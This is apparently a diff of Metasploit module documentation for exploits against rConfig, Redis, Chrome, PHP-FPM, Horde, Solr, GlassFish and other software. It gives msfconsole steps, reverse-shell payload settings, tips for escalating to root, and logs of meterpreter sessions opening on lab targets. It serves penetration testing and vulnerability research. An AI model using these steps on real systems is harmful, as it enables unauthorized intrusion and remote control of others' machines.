This module exploits multiple vulnerabilities in rConfig version 3.9 and prior in order to execute arbitrary commands.
The module first add a temporary admin user to the application by exploiting an SQL injection (CVE-2020-10220).
Next, the module authenticates as the newly created user in order to abuse a command injection vulnerability in the `path` parameter of the ajaxArchiveFiles functionality within the rConfig web interface (CVE-2019-19509).
The module works with HTTP or HTTPS (both were tested) but the application does redirection via php code so SSL is enabled by default (and should be used). Valid credentials for a user with administrative privileges are required. However, this module can bypass authentication via SQLI. This module has been successfully tested on rConfig 3.9.2 and 3.9.4.
Tips : once you get a shell, look at the CVE-2019-19585. You will probably get root because rConfig install script add Apache user to sudoers with nopasswd ;-)
## Verification Steps
1. Install the module as usual
2. Start msfconsole
3. `use exploit/linux/http/rconfig_ajaxarchivefiles_rce`
4. `set RHOSTS target_ip`
5. `set RPORT target_port`
6. `set LHOST your_ip`
7. `set LPORT your_port`
8. `set verbose true`
9. `exploit -j`
## Scenarios
```
msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > show options
Module options (exploit/linux/http/rconfig_ajaxarchivefiles_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path to Rconfig
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > set RHOSTS 1.1.1.1
RHOSTS => 1.1.1.1
msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > set LHOST 1.1.1.2
LHOST => 1.1.1.2
msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) >
[+] rConfig version 3.9 detected
[+] New temporary user 6QpO8mLt created
[+] Authenticated as user 6QpO8mLt
[*] Command shell session 1 opened (1.1.1.2:4444 -> 1.1.1.1:34586) at 2020-03-10 22:26:46 +0100
[+] Command sucessfully executed
[*] User 6QpO8mLt removed successfully !
msf5 exploit(linux/http/rconfig_ajaxarchivefiles_rce) > sessions -i 1
[*] Starting interaction with 1...
id
uid=48(apache) gid=48(apache) groups=48(apache)
```
## References
1. <https://cvedetails.com/cve/CVE-2019-19509/>
2. <https://cvedetails.com/cve/CVE-2020-10220/>
3. <https://www.exploit-db.com/exploits/47982>
4. <https://www.exploit-db.com/exploits/48208>
5. <https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2019-19509.py>
6. <https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py>
@@ -1,12 +1,11 @@
## Description
## Vulnerable Application
### Description
This module attempts to gain root privileges on Juju agent systems running the juju-run agent utility.
Juju agent systems running agent tools prior to version 1.25.12, 2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain socket to manage software ("units") without setting appropriate permissions, allowing unprivileged local users to execute arbitrary commands as root.
## Vulnerable Application
[Juju](https://juju.ubuntu.com/) is an open source application modeling tool designed for devops to deploy, configure, scale, and operate software on public and private clouds.
* Homepage: https://juju.ubuntu.com/
@@ -21,7 +20,7 @@
* Versions 1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS x86_64
## Installation
### Installation
Two systems are required. The first runs Juju and the second runs the Juju agent tools.
@@ -1,4 +1,6 @@
## Description
## Vulnerable Application
### Description
This module exploits an injection vulnerability in the Network Manager
VPNC plugin to gain *root* privileges.
@@ -12,16 +14,12 @@
Network Manager VPNC versions prior to 1.2.6 are vulnerable.
## Vulnerable Application
This module has been tested successfully with VPNC versions:
* 1.2.4-4 on Debian 9.0.0 (x64); and
* 1.1.93-1 on Ubuntu Linux 16.04.4 (x64).
## Installation
### Installation
The following installation instructions are for Ubuntu 16.04.04.
@@ -88,4 +86,3 @@
Meterpreter : x86/linux
meterpreter >
```
@@ -1,40 +1,46 @@
## Description
This module exploits an unauthenticated code execution vulnerability in Redis 4.x and 5.x
## Vulnerable Application
### Description
This module exploits a replication code execution vulnerability in Redis 4.x and later.
### Installation Setup.
**Vulnerable Application Link**
- Official Docker Images
https://hub.docker.com/_/redis/
## Vulnerable Application Installation Setup.
### Installation Setup.
```
docker pull redis
docker run -p 6379:6379 -d --name redis_slave redis
```
## Verification Steps
## Options
- CUSTOM
### CUSTOM
IF `CUSTOM` set to true, this exploit would generate a source code file, and compile it to a redis module file during running, which is more undetectable.
IF `CUSTOM` set to true, this exploit would generate a source code file, and
compile it to a redis module file during running, which is more undetectable.
It's only worked on linux system.
For other scenarios, such as lack of gcc, or others opreate systems, framework could not compile the source for sucessful exploit, it uses the pre-compiled redis module to accomplish this exploit.
For other scenarios, such as lack of gcc, or others opreate systems, framework
could not compile the source for sucessful exploit, it uses the
pre-compiled redis module to accomplish this exploit.
## Verification Steps
## Scenarios
### set CUSTOM true (available only on linux)
```
msf5 exploit(multi/redis/redis_unanth_rce) > options
msf5 exploit(multi/redis/redis_replication_cmd_exec) > options
Module options (exploit/multi/redis/redis_unanth_rce):
Module options (exploit/linux/redis/redis_replication_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
@@ -61,9 +67,9 @@ Exploit target:
0 Automatic
msf5 exploit(multi/redis/redis_unanth_rce) > set verbose false
msf5 exploit(multi/redis/redis_replication_cmd_exec) > set verbose false
verbose => false
msf5 exploit(multi/redis/redis_unanth_rce) > exploit
msf5 exploit(multi/redis/redis_replication_cmd_exec) > exploit
[*] Started reverse TCP handler on 172.17.0.1:8080
[*] 127.0.0.1:6379 - Compile redis module extension file
@@ -84,10 +90,10 @@ meterpreter >
### Set CUSTOM false (available on all system)
```
msf5 > use exploit/linux/redis/redis_unauth_exec
msf5 exploit(linux/redis/redis_unauth_exec) > options
msf5 > use exploit/linux/redis/redis_replication_cmd_exec
msf5 exploit(linux/redis/redis_replication_cmd_exec) > options
Module options (exploit/linux/redis/redis_unauth_exec):
Module options (exploit/linux/redis/redis_replication_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
@@ -114,19 +120,19 @@ Exploit target:
0 Automatic
msf5 exploit(linux/redis/redis_unauth_exec) > set rhosts 172.16.6.226
msf5 exploit(linux/redis/redis_replication_cmd_exec) > set rhosts 172.16.6.226
rhosts => 172.16.6.226
msf5 exploit(linux/redis/redis_unauth_exec) > set srvhost 172.16.6.1
msf5 exploit(linux/redis/redis_replication_cmd_exec) > set srvhost 172.16.6.1
srvhost => 172.16.6.1
msf5 exploit(linux/redis/redis_unauth_exec) > set srvport 6666
msf5 exploit(linux/redis/redis_replication_cmd_exec) > set srvport 6666
srvport => 6666
msf5 exploit(linux/redis/redis_unauth_exec) > set lhost 172.16.6.1
msf5 exploit(linux/redis/redis_replication_cmd_exec) > set lhost 172.16.6.1
lhost => 172.16.6.1
msf5 exploit(linux/redis/redis_unauth_exec) > set lport 9999
msf5 exploit(linux/redis/redis_replication_cmd_exec) > set lport 9999
lport => 9999
msf5 exploit(linux/redis/redis_unauth_exec) > options
msf5 exploit(linux/redis/redis_replication_cmd_exec) > options
Module options (exploit/linux/redis/redis_unauth_exec):
Module options (exploit/linux/redis/redis_replication_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
@@ -153,7 +159,7 @@ Exploit target:
0 Automatic
msf5 exploit(linux/redis/redis_unauth_exec) > exploit
msf5 exploit(linux/redis/redis_replication_cmd_exec) > exploit
[*] Started reverse TCP handler on 172.16.6.1:9999
[*] 172.16.6.226:6379 - Listening on 172.16.6.1:6666
@@ -168,4 +174,5 @@ meterpreter > getuid
Server username: uid=999, gid=999, euid=999, egid=999
meterpreter > getpid
Current pid: 173
```
```
@@ -0,0 +1,61 @@
This module exploits an issue in Chrome 73.0.3683.86 (64 bit). The exploit corrupts the length of a float in order to modify the backing store of a typed array. The typed array can then be used to read and write arbitrary memory.
The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload.
**The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly.**
## Vulnerable Application
The module is compatible with any 64bit Google Chrome (version 72 or 73), on any platform (macOS, Linux or Windows), however the code that writes the shellcode into the rwx region (wasm_rwx_addr) may need to be modified.
**Vulnerable Application Installation Steps**
You can download a vulnerable Chrome version from this location:
[https://www.filepuma.com/download/google_chrome_64bit_73.0.3683.86-21785/](https://www.filepuma.com/download/google_chrome_64bit_73.0.3683.86-21785/)
You should ensure that application does not update itself to the latest version (by disabling automatic updates or simply not connecting to the internet).
You may also need to disable Windows Defender.
## Verification Steps
1. Do: ```use exploit/multi/browser/chrome_array_map```
2. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
2. Do: ```set LHOST [IP]```
3. Do: ```set SRVHOST [IP]```
3. Do: ```set URIPATH / [PATH]```
4. Do: ```run```
## Scenarios
### Windows 10 and Google Chrome 73.0.3683.86 with --no-sandbox
Start Google Chrome without a sandbox:
```"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox```
```
msf5 > use exploit/multi/browser/chrome_array_map
msf5 exploit(multi/browser/chrome_array_map) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf5 exploit(multi/browser/chrome_array_map) > set URIPATH /
URIPATH => /
msf5 exploit(multi/browser/chrome_array_map) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/browser/chrome_array_map) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf5 exploit(multi/browser/chrome_array_map) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/browser/chrome_array_map) >
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
[*] 192.168.56.3 chrome_array_map - Sending / to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
[*] Sending stage (206403 bytes) to 192.168.56.3
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49675) at 2020-02-29 15:07:06 +0800
msf5 exploit(multi/browser/chrome_array_map) > sessions 1
[*] Starting interaction with 1...
meterpreter > pwd
C:\Program Files (x86)\Google\Chrome\Application\73.0.3683.86
meterpreter >
```
@@ -0,0 +1,65 @@
This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit corrupts the length of a float array (float_rel), which can then be used for out of bounds read and write on adjacent memory.
The relative read and write is then used to modify a UInt64Array (uint64_aarw) which is used for read and writing from absolute memory.
The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload shellcode.
**The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly.**
## Vulnerable Application
The module is compatible with any 64bit Google Chrome (version 80), on any platform (macOS, Linux or Windows), however the code that writes the shellcode into the rwx region (wasm_rwx_addr) may need to be modified for different versions.
**Vulnerable Application Installation Steps**
You can download a vulnerable Chrome version from this location:
[https://www.filepuma.com/download/google_chrome_64bit_80.0.3987.87-24545/](https://www.filepuma.com/download/google_chrome_64bit_80.0.3987.87-24545/)
You should ensure that application does not update itself to the latest version (by disabling automatic updates or simply not connecting to the internet).
You may also need to disable Windows Defender.
## Verification Steps
1. Do: ```use exploit/multi/browser/chrome_jscreate_sideeffect```
2. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
2. Do: ```set LHOST [IP]```
3. Do: ```set SRVHOST [IP]```
3. Do: ```set URIPATH / [PATH]```
4. Do: ```run```
## Scenarios
### Windows 10 and Google Chrome 80.0.3987.87 with --no-sandbox
Start Google Chrome without a sandbox:
```"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox```
```
msf5 > use exploit/multi/browser/chrome_jscreate_sideeffect
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > set URIPATH /
URIPATH => /
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) >
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) >
[*] 192.168.56.3 chrome_jscreate_sideeffect - Sending / to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36
[*] Sending stage (206403 bytes) to 192.168.56.3
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49677) at 2020-03-04 21:22:38 +0800
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > sessions 1
[*] Starting interaction with 1...
meterpreter > pwd
C:\Program Files (x86)\Google\Chrome\Application\80.0.3987.87
meterpreter >
```
@@ -0,0 +1,61 @@
This modules exploits a type confusion in Google Chromes JIT compiler. The Object.create operation can be used to cause a type confusion between a PropertyArray and a NameDictionary.
The type confusion can be used to construct a arbitrary read/write memory primitive, which is used to write shellcode into rwx region of a WebAssembly object.
**This module does not contain an exploit to escape the sandbox, so you must launch Google Chrome with the --no-sandbox option**
## Vulnerable Application
The module is compatible with any 64bit Google Chrome (version 67, 68 or 69), on any platform (macOS, Linux or Windows), however the code that writes the shellcode into the rwx region (wasm_rwx_addr) may need to be modified.
**Vulnerable Application Installation Steps**
You can download a vulnerable Chrome version from this location:
[https://www.filepuma.com/download/google_chrome_64bit_69.0.3497.100-20128/](https://www.filepuma.com/download/google_chrome_64bit_69.0.3497.100-20128/)
You should ensure that application does not update itself to the latest version (by disabling automatic updates or simply not connecting to the internet).
You may also need to disable Windows Defender.
## Verification Steps
1. Do: ```use exploit/multi/browser/chrome_object_create```
2. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
2. Do: ```set LHOST [IP]```
3. Do: ```set SRVHOST [IP]```
3. Do: ```set URIPATH / [PATH]```
4. Do: ```run```
## Scenarios
### Windows 10 and Google Chrome 69.0.3497.100 with --no-sandbox
Start Google Chrome without a sandbox:
```"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox```
```
msf5 > use exploit/multi/browser/chrome_object_create
msf5 exploit(multi/browser/chrome_object_create) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf5 exploit(multi/browser/chrome_object_create) > set URIPATH /
URIPATH => /
msf5 exploit(multi/browser/chrome_object_create) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/browser/chrome_object_create) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf5 exploit(multi/browser/chrome_object_create) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/browser/chrome_object_create) >
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
[*] 192.168.56.3 chrome_object_create - Sending / to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
[*] Sending stage (206403 bytes) to 192.168.56.3
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49682) at 2020-02-29 14:29:06 +0800
msf5 exploit(multi/browser/chrome_object_create) > sessions 1
[*] Starting interaction with 1...
meterpreter > pwd
C:\Program Files (x86)\Google\Chrome\Application\69.0.3497.100
meterpreter >
```
@@ -1,14 +1,14 @@
## Description
## Vulnerable Application
### Description
A malicious file can be uploaded by an unauthenticated attacker through the `actions/beats_uploader.php` script.
ClipBucket < 4.0.0 - Release 4902 is vulnerable. Additional information and vulnerabilities can be viewed on
Exploit-DB [44250](https://www.exploit-db.com/exploits/44250/)
## Vulnerable Application
Available at [Exploit-DB](https://www.exploit-db.com/apps/60cd1ff56ac93dd35c5e3c4e3537f53c-clipbucket-4881.zip)
## Vulnerable Application Installation
### Installation
Download Application: ```wget https://www.exploit-db.com/apps/60cd1ff56ac93dd35c5e3c4e3537f53c-clipbucket-4881.zip```
@@ -0,0 +1,31 @@
## Vulnerable Application
This module exploits an arbitrary command execution flaw
in FreeNAS 0.7.2 < rev.5543. When passing a specially formatted URL
to the exec_raw.php page, an attacker may be able to execute arbitrary commands.
NOTE: This module works best with php/meterpreter payloads.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/multi/http/freenas_exec_raw```
4. Do: ```set rhost [ip]```
5. Do: ```run```
6. You should get a shell.
## Options
## Scenarios
### Unknown
```
meterpreter > sysinfo
Computer: freenas.local
OS : FreeBSD freenas.local 7.3-RELEASE-p2 FreeBSD 7.3-RELEASE-p2 #0: Sat Jul 31 12:22:04 CEST 2010 root@dev.freenas.org:/usr/obj/freenas/usr/src/sys/FREENAS-i386 i386
meterpreter > getuid
Server username: root (0)
meterpreter >
```
@@ -1,12 +1,14 @@
## Description
## Vulnerable Application
### Description
This module logs in to a GlassFish Server (Open Source or Commercial) using various methods (such as authentication bypass, default credentials, or user-supplied login), and deploys a malicious war file in order to get remote code execution. It has been tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. Newer GlassFish versions do not allow remote access (Secure Admin) by default, but is required for exploitation.
## GlassFish
### GlassFish
GlassFish is a open-source application server project started by Sun Microsystems for the Java EE platform and now sponsored by Oracle Corporation. The supported version is called Oracle GlassFish Server. GlassFish is free software, dual-licensed under two free software licences: the Common Development and Distribution License (CDDL) and the GNU General Public License (GPL) with the classpath exception.
## Installation
### Installation
For testing purposes, the following explains how you can install a vulnerable version of GlassFish on Ubuntu Linux:
@@ -36,6 +38,8 @@ If you are on a different platform (such as Windows), the installation should be
## Scenarios
### GlassFish 3.0.1 on Windows 2003
```
msf > use exploit/multi/http/glassfish_deployer
msf exploit(glassfish_deployer) > set RHOST 172.16.182.237
@@ -0,0 +1,51 @@
## Vulnerable Application
The Horde project comprises several standalone applications and libraries, the [Horde Groupware Webmail Edition suite](https://www.horde.org/apps/webmail) (tested version 5.2.22) bundles several of them by default, among those, Data ([Horde Data API](https://github.com/horde/Data)) is a library used to manage data import/export in several formats, e.g., CSV, iCalendar, vCard, etc. This library up to version 2.1.4 (included) is vulnerable to PHP code injection.
Find more information in the [original advisory](https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/).
## Verification Steps
1. Install the application (see below)
2. Start msfconsole
3. Do: ```use exploit/multi/http/horde_csv_rce```
4. Do: ```set payload php/meterpreter/reverse_tcp```
5. Do: ```set lhost [ATTACKER IP]```
6. Do: ```set rhost [TARGET IP]```
7. Do: ```set username [username]```
8. Do: ```set password [password]```
9. Do: ```exploit```
10. A session should open
Downgrade the Horde Data API package if needed:
```
pear uninstall --ignore-errors horde/horde_data-2.1.5
pear install --ignore-errors horde/horde_data-2.1.4
```
## Scenarios
### Horde Groupware Webmail Edition 5.2.22 with Horde Data API 2.1.4 on Debian GNU/Linux 9
```
msf5 > use exploit/multi/http/horde_csv_rce
msf5 exploit(multi/http/horde_csv_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/http/horde_csv_rce) > set lhost 192.168.1.69
lhost => 192.168.1.69
msf5 exploit(multi/http/horde_csv_rce) > set rhost 192.168.1.69
rhost => 192.168.1.69
msf5 exploit(multi/http/horde_csv_rce) > set username alice
username => alice
msf5 exploit(multi/http/horde_csv_rce) > set password alice
password => alice
msf5 exploit(multi/http/horde_csv_rce) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Sending stage (38288 bytes) to 172.17.0.1
[*] Meterpreter session 1 opened (172.17.0.2:4444 -> 172.17.0.1:44524) at 2020-03-14 14:55:17 +0000
meterpreter > getuid
Server username: www-data (33)
```
@@ -10,15 +10,13 @@
## Verification Steps
Example steps in this format:
1. Install the application
1. Start msfconsole
1. Do: ```use exploit/multi/http/jenkins_script_console```
1. Do: ```set RHOST [target host]```
1. Do: ```set TARGET [target id]```
1. Do: ```exploit```
1. You should get a shell.
2. Start msfconsole
3. Do: ```use exploit/multi/http/jenkins_script_console```
4. Do: ```set RHOST [target host]```
5. Do: ```set TARGET [target id]```
6. Do: ```exploit```
7. You should get a shell.
## Options
@@ -7,9 +7,10 @@ code execution.
Magento Community and Enterprise editions before 2.0.6 are affected. The magento_unserialize module
was specifically tested against version 2.0.6, on Ubuntu 14.04 and Debian.
For testing purposes, you can download the vulnerable applications [here](https://www.exploit-db.com/apps/d34a83e80f927d7336cc8ef37a9867f4-magento2-2.0.5.tar.gz).
For testing purposes, you can download the vulnerable
applications [here](https://www.exploit-db.com/apps/d34a83e80f927d7336cc8ef37a9867f4-magento2-2.0.5.tar.gz).
## Verification Steps
### Install
To set up a vulnerable version of Magento, please follow these steps. This is specific to
Ubuntu 14, and assumes you are installing Magento under /var/www/html/.
@@ -75,8 +76,7 @@ If at some point the IP (base URL) of Magento has changed, then you will need to
8. Also do: ```sudo rm -rf var/page_cache/*```
9. Browse to Magento again with the new IP, it should be up and running again.
After setting up Magento, you can use your exploit module:
## Verification Steps
1. Start msfconsole
2. Do: ```exploit/multi/http/magento_unserialize```
@@ -86,6 +86,8 @@ After setting up Magento, you can use your exploit module:
6. Do: ```exploit```
7. And you should get a session
## Options
## Scenarios
```
@@ -0,0 +1,170 @@
This module exploits an underflow vulnerability in versions 7.1.x below 7.1.33,
7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on Nginx. Only servers
with certains Nginx + PHP-FPM configurations are exploitable. This is a port of
the original neex's exploit code (see refs.). First, it detects the correct
parameters (Query String Length and custom header length) needed to trigger
code execution. This step determines if the target is actually vulnerable
(Check method). Then, the exploit sets a series of PHP INI directives to create
a file (`/tmp/a`) locally on the target, which enables code execution through a
query string parameter (`?a=<cmd>`). This is used to execute normal payload
stagers. Finally, this module does some cleanup by killing local PHP-FPM
workers (those are spawned automatically once killed) and removing the created
local file (`/tmp/a`).
## Vulnerable Application
- Install Nginx on Linux (`apt-get install nginx`)
- get the vulnerable PHP:
```
git clone https://github.com/php/php-src
# checkout the fix
git -C php-src checkout ab061f95ca966731b1c84cf5b7b20155c0a1c06a
# checkout the commit previous to the fix
git -C php-src checkout HEAD~1
```
- make sure the default Nginx configuration contains these entries and no
script existence checks (like `try_files`):
```
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
```
See original PoC for details: https://github.com/neex/phuip-fpizdam
An easiest way to setup a vulnerable instance is to use the docker
configuration provided by the author
(https://github.com/neex/phuip-fpizdam/tree/master/reproducer)
## Verification Steps
Preparing the target:
1. `git clone https://github.com/neex/phuip-fpizdam`
2. `cd phuip-fpizdam/reproducer/`
3. `docker build -t reproduce-cve-2019-11043 .`
4. `docker run --rm -p 192.168.6.6:8080:80 --name reproduce-cve-2019-11043 reproduce-cve-2019-11043`
Running the exploit:
1. `./msfconsole`
2. `use exploit/multi/http/php_fpm_rce`
4. `set RHOSTS 192.168.6.6`
5. `set RPORT 8080`
4. `set TARGETURI /script.php`
6. `set PAYLOAD php/meterpreter/reverse_tcp`
7. `set LHOST 192.168.6.6`
8. `run`
## Options
**TARGETURI**
Path to a PHP page (`/index.php` by default). This must be a valid page.
## Advanced Options
**MinQSL**
Minimum query string length (QSL). The QSL detection engine will iterate
starting from this value (1500 by default). This option is required.
**MaxQSL**
Maximum query string length (QSL). The QSL detection engine will iterate
until this value is reached (1950 by default). This option is required.
**QSLHint**
Query string length hint. This value will be used as a QSL candidate. Note
that setting this value skips the QSL detection.
**QSLDetectStep**
Query string length detect step. The QSL detection engine will iterate with
this step value (5 by default). This option is required.
**MaxQSLCandidates**
Maximum query string length candidates. When the number of QSL candidates
found during the QSL detection phase is greater than this value (10 by
default), this indicates that something went wrong and we were not able to
detect the correct values. This option is required.
**MaxQSLDetectDelta**
Maximum query string length detection delta. This value is the maximum
distance between the candidate and the extended values (10 by default). For
example, with a value of 20 and QSLDetectStep set to 5, candidate [1700] will
be extended to [1680, 1685, 1690, 1695, 1700]. This option is required.
**MaxCustomHeaderLength**
Maximum custom header length. This value is the maximum length that will be
used for the custom header during the parameters detection (256 by default).
This option is required.
**CustomHeaderLengthHint**
Custom header length hint. This value will be used as the custom header
length. Note that setting this value skips the custom header length
detection.
**DetectMethod**
Method that will be used to detect if the target is vulnerable. Available
methods:
1. `session.auto_start`: this method consist in setting the
`session.auto_start` PHP option to 1. If the response contains `PHPSESSID=`
set-cookie value, this means the PHP option has been correctly set and the
target is vulnerable.
2. `output_handler.md5`: this method consist in setting the `output_handler`
PHP option to `md5`. If the response is a md5 hash (16 characters), this
means the PHP option has been correctly set and the target is vulnerable.
**OperationMaxRetries**
Maximum of operation retries. Each operation will be repeated at most
`OperationMaxRetries` times.
## Scenarios
### Ubuntu 18.04 + nginx 1.14.0 + PHP 7.1.33dev (fpm-fcgi) (built: Feb 14 2020 16:48:15)
```
msf5 > use exploit/multi/http/php_fpm_rce
msf5 exploit(multi/http/php_fpm_rce) > set RHOSTS 192.168.6.6
RHOSTS => 192.168.6.6
msf5 exploit(multi/http/php_fpm_rce) > set RPORT 8080
RPORT => 8080
msf5 exploit(multi/http/php_fpm_rce) > set TARGETURI /script.php
TARGETURI => /script.php
msf5 exploit(multi/http/php_fpm_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf5 exploit(multi/http/php_fpm_rce) > set LHOST 192.168.6.6
LHOST => 192.168.6.6
msf5 exploit(multi/http/php_fpm_rce) > run
[*] Started reverse TCP handler on 192.168.6.6:4444
[*] Sending baseline query...
[*] Detecting QSL...
[+] The target is probably vulnerable. Possible QSLs: [1765]
[*] Doing sanity check...
[*] Detecting attack parameters...
[+] Parameters found: QSL=1760, customh_length=69
[+] Target is vulnerable!
[*] Performing attack using php.ini settings...
[+] Success! Was able to execute a command by appending 'which+which'
[*] Trying to cleanup /tmp/a...
[+] Cleanup done!
[*] Sending payload...
[*] Sending stage (38288 bytes) to 192.168.6.6
[*] Meterpreter session 1 opened (192.168.6.6:4444 -> 192.168.6.6:59177) at 2020-02-14 12:03:45 -0600
[+] Session created
[*] Remove /tmp/a and kill workers...
[+] Done!
meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : 832efebeac57
OS : Linux 832efebeac57 4.9.184-linuxkit #1 SMP Tue Jul 2 22:58:16 UTC 2019 x86_64
Meterpreter : php/linux
meterpreter >
```
@@ -0,0 +1,30 @@
## Description
PHPStudy is free software, it is a one-click installation software, which includes PHP, MySQL, Apache and more. At some point in time, hackers were able to hack into phpStudy and tamper on 2016 and 2018 versions of the software to make it vulnerable to this specific exploit.
## Vulnerable Application
The vulnerability exists in php-5.4.45 and php-5.2.17 service versions in PHPStudy2016 and PHPStudy2018
## Verification Steps
1. Start msfconsole
2. Do:```use exploit/multi/http/phpstudy_backdoor_rce```
3. Do:```set rhosts <target>```
4. Do:```run```
If your target is vulnerable, you will get a shell.
you should see an output similar to the following
```
msf5 exploit(multi/http/phpstudy_backdoor_rce) > set rhosts 192.168.56.104
rhosts => 192.168.56.104
msf5 exploit(multi/http/phpstudy_backdoor_rce) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[+] Sending shellcode
[*] Sending stage (38288 bytes) to 192.168.56.104
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.104:49169) at 2020-02-23 10:11:40 +0800
meterpreter >
```
@@ -0,0 +1,317 @@
## Description
This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom
Velocity template. Currently, this module only supports Solr basic authentication.
**From the Tenable advisory**
Link: https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability
An attacker could target a vulnerable Apache Solr instance by first
identifying a list of Solr core names. Once the core names have been
identified, an attacker can send a specially crafted HTTP POST request
to the Config API to toggle the params resource loader value for the
Velocity Response Writer in the solrconfig.xml file to true. Enabling
this parameter would allow an attacker to use the Velocity template
parameter in a specially crafted Solr request, leading to RCE.
## Vulnerable Applications
Apache Solr <= 8.3.0
## Verification Steps
1. Start `msfconsole`
2. `use exploit/multi/http/solr_velocity_rce`
3. `set RHOST <target_ip>`
4. `set RPORT <target_port>`
5. `set USERNAME <username>` (if applicable)
6. `set PASSWORD <password>` (if applicable)
7. Ideally run `check`
8. `set TARGET` based on output of `check`
9. `set PAYLOAD <payload_name>` if you want to use other payloads
10. `set LHOST <your_ip>`
11. `set LPORT <your_port>`
12. Optional: `set VERBOSE true` to get verbose output
13. Optional: `set TARGETURI <path_to_solr>` if target system uses a different path to Apache Solr
14. `exploit` and let the shells rain
## Considerations
Privileges gained are dependent on the user running Solr. Currently,
this module only supports basic auth.
Windows systems have 3 targets:
1. x86/64 Windows PowerShell: Uses `PowerShell` to get a shell. Payload defaults to `windows/meterpreter/reverse_tcp`
2. x86/64 Windows CmdStager: Uses `CmdStager` to get a shell. Payload defaults to `windows/meterpreter/reverse_tcp`
